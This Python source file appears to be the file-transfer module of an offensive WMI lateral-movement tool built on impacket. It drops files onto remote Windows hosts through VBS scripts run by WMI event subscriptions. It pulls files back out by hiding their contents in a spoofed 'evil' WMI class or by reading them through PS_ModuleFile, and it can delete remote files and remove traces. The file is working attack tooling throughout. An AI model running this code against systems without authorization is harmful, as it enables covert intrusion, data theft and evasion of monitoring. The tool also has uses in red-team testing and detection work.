import logging import base64 import struct import time import sys import uuid import ntpath from lib.helpers import get_vbs from lib.methods.classMethodEx import class_MethodEx from lib.methods.executeScript import executeScript_Toolkit from lib.module_base import ModuleBase from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY class filetransfer_Toolkit(ModuleBase): name = "filetransfer" description = "Upload/Download file through wmi class." @staticmethod def register_parser(subparsers): p = subparsers.add_parser(filetransfer_Toolkit.name, help=filetransfer_Toolkit.description) p.add_argument("-upload", action="store_true", help="Upload file.") p.add_argument("-download", action="store_true", help="Download file.") p.add_argument("-src-file", action="store", help="Source file with fully path (include filename)") p.add_argument("-dest-file", action="store", help="Dest file with fully path (include filename)") p.add_argument("-method", action="store", choices=["native", "legacy"], default="native", help="Download method: native (PS_ModuleFile, Win8+/2012+) or legacy (VBS+WMI class). Default: native with auto-fallback.") p.add_argument("-delete", action="store", metavar="FILEPATH", help="Delete remote file via CIM_DataFile.") p.add_argument("-clear", action="store_true", help="Remove temporary class for storage binary data") return p @staticmethod def run(iWbemLevel1Login, dcom, options, **kwargs): toolkit = filetransfer_Toolkit(iWbemLevel1Login, dcom) toolkit.timeout = options.timeout if options.src_file and options.dest_file: if options.upload: toolkit.uploadFile(src_File=options.src_file, dest_File=r"%s" % options.dest_file) if options.download: method = getattr(options, 'method', 'native') if method == "native": success = toolkit.downloadFile_Native(target_File=options.src_file, save_Location=options.dest_file) if not success: logging.info("Falling back to legacy download method...") toolkit.downloadFile(target_File=options.src_file, save_Location=options.dest_file) else: toolkit.downloadFile(target_File=options.src_file, save_Location=options.dest_file) if options.delete: toolkit.deleteFile(target_File=options.delete) if options.clear: toolkit.clear() def __init__(self, iWbemLevel1Login, dcom): self.iWbemLevel1Login = iWbemLevel1Login self.dcom = dcom self.timeout = 5 # default timeout self.logger = logging.getLogger("wmiexec-pro") self.logger_countdown = logging.getLogger("CountdownLogger") def queryfile_Status(self, file, iWbemServices=None, return_iWbemServices=False): if not iWbemServices: iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL) self.iWbemLevel1Login.RemRelease() try: self.logger.info(f"Checking target file {file} info") file_obj, _ = iWbemServices.GetObject(f'CIM_DataFile.Name="{file}"') # For delete file # Reference: https://github.com/fortra/impacket/issues/1672 # iWbemServices.DeleteInstance(f'CIM_DataFile.Name="{file}"') except Exception as e: if "WBEM_S_FALSE" in str(e): self.logger.error(f"File {file} not existed!") else: self.logger.error(f"Unexpected error when checking file: {file}, error: {e!s}") self.dcom.disconnect() sys.exit(0) else: file_Status = dict(file_obj.getProperties()) self.logger.log(100, "File status: {}, File size: {} KB, File location: {}".format( file_Status["Status"]["value"], file_Status["FileSize"]["value"]/1024, file_Status["Caption"]["value"] ) ) # Return cimv2 if return_iWbemServices: return iWbemServices # For upload file, we don't need to create class, we can make binary included in vbs script(file dropper). # After vbs interval job created, then release your file. def uploadFile(self, src_File, dest_File, iWbemServices_Subscription=None, iWbemServices_Cimv2=None): with open(src_File, "rb") as f: binary = f.read() binary_EncodeData = base64.b64encode(binary).decode("ascii") vbs = get_vbs("WriteFile.vbs") vbs = vbs.replace("REPLACE_WITH_DEST", base64.b64encode(dest_File.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_DATA", binary_EncodeData) executer = executeScript_Toolkit(self.iWbemLevel1Login) self.logger.info("File uploading (will take a long time if you try to upload large size file)") tag = executer.ExecuteScript(script_content=vbs, returnTag=True, iWbemServices=iWbemServices_Subscription) # Wait 5 seconds for windows decode file. for i in range(self.timeout, 0, -1): self.logger_countdown.info(f"Waiting {i}s for next step.\r") time.sleep(1) # Check dest file status, Cimv2 self.queryfile_Status(dest_File.replace("\\", "\\\\"), iWbemServices=iWbemServices_Cimv2) # Clean up self.logger.info("Stop vbs interval execution after created class") executer.remove_Event(tag, iWbemServices=iWbemServices_Subscription) # For download file, we can write file data into wmi class def downloadFile(self, target_File, save_Location=None, ClassName_ForDownload=None, iWbemServices_Subscription=None, iWbemServices_Cimv2=None): class_Method = class_MethodEx(self.iWbemLevel1Login) # Default class name for download file if not ClassName_ForDownload: ClassName_ForDownload = "Win32_OSRecoveryConfigurationDataStorage" # Check target file status. # Reuse cimv2 iWbemServices object to avoid DCOM iWbemServices iWbemServices_Reuse = self.queryfile_Status(target_File.replace("\\", "\\\\"), return_iWbemServices=True, iWbemServices=iWbemServices_Cimv2) # Reuse cimv2 namespace self.logger.info("Create evil class for file transfer") class_Method.check_ClassStatus(ClassName=ClassName_ForDownload, iWbemServices_Cimv2=iWbemServices_Reuse, iWbemServices_Subscription=iWbemServices_Subscription) # Load target file into class self.logger.info("Converting file to base64 string and load it into wmi class.") Data_InstanceID = str(uuid.uuid4()) vbs = get_vbs("LocalFileIntoClass.vbs") vbs = vbs.replace("REPLACE_WITH_TARGET_FILE", base64.b64encode(target_File.encode("utf-8")).decode("utf-8")).replace("RELEACE_WITH_UUID", Data_InstanceID).replace("REPLACE_WITH_CLASSNAME", ClassName_ForDownload) executer = executeScript_Toolkit(self.iWbemLevel1Login) tag = executer.ExecuteScript(script_content=vbs, returnTag=True, iWbemServices=iWbemServices_Subscription) # Wait 5 seconds for next step. for i in range(self.timeout, 0, -1): self.logger_countdown.info(f"Waiting {i}s for next step.\r") time.sleep(1) # Read encode data from wmi class self.logger.info("File downloading...") Data_Instance, resp = iWbemServices_Reuse.GetObject(f'{ClassName_ForDownload}.CreationClassName="{Data_InstanceID}"') record = dict(Data_Instance.getProperties()) with open(save_Location, "wb") as f: f.write(base64.b64decode(record["DebugOptions"]["value"])) self.logger.log(100, f"File downloaded and save to: {save_Location}") self.logger.info("Stop vbs interval execution after file downloaded") executer.remove_Event(tag, iWbemServices=iWbemServices_Subscription) # Native download via PS_ModuleFile (root/Microsoft/Windows/Powershellv3) # Reference: https://github.com/0xthirteen/WMI_Proc_Dump # Reference: https://gist.github.com/mattifestation/03079a38f23e0c94c8cd39779f88adf6 def downloadFile_Native(self, target_File, save_Location): """Download file via PS_ModuleFile.FileData (PSv3 namespace, no VBS needed).""" PSV3_NAMESPACE = "//./root/Microsoft/Windows/Powershellv3" try: iWbemServices = self.iWbemLevel1Login.NTLMLogin(PSV3_NAMESPACE, NULL, NULL) iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) self.iWbemLevel1Login.RemRelease() except Exception as e: if "WBEM_E_INVALID_NAMESPACE" in str(e): self.logger.error("PSv3 namespace not available (requires Win8+/Server2012+), falling back to legacy method.") return False else: raise escaped_path = target_File.replace("\\", "\\\\") try: self.logger.info(f"Downloading {target_File} via PS_ModuleFile...") file_instance, _ = iWbemServices.GetObject(f'PS_ModuleFile.InstanceID="{escaped_path}"') except Exception as e: self.logger.error(f"Failed to read file via PS_ModuleFile: {e!s}") return False props = file_instance.getProperties() file_data = props["FileData"]["value"] if not file_data: self.logger.error("FileData is empty!") return False # FileData format: first 4 bytes (big-endian reversed) = file length, then file content file_length_bytes = bytes(file_data[0:4])[::-1] file_length = int.from_bytes(file_length_bytes, byteorder='little', signed=False) file_bytes = bytes(file_data[4:file_length + 4]) with open(save_Location, "wb") as f: f.write(file_bytes) self.logger.log(100, f"File downloaded and saved to: {save_Location}") return True def deleteFile(self, target_File, iWbemServices_Cimv2=None): """Delete remote file via CIM_DataFile.""" if not iWbemServices_Cimv2: iWbemServices_Cimv2 = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL) iWbemServices_Cimv2.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) self.iWbemLevel1Login.RemRelease() escaped_path = target_File.replace("\\", "\\\\") try: file_obj, _ = iWbemServices_Cimv2.GetObject(f"CIM_DataFile.Name='{escaped_path}'") file_obj.Delete(escaped_path) self.logger.log(100, f"Remote file {target_File} deleted.") except Exception as e: self.logger.error(f"Failed to delete file: {e!s}") def clear(self, ClassName_StoreOutput=None): if not ClassName_StoreOutput: ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataStorage" class_Method = class_MethodEx(self.iWbemLevel1Login) class_Method.remove_Class(ClassName=ClassName_StoreOutput, return_iWbemServices_Cimv2=False)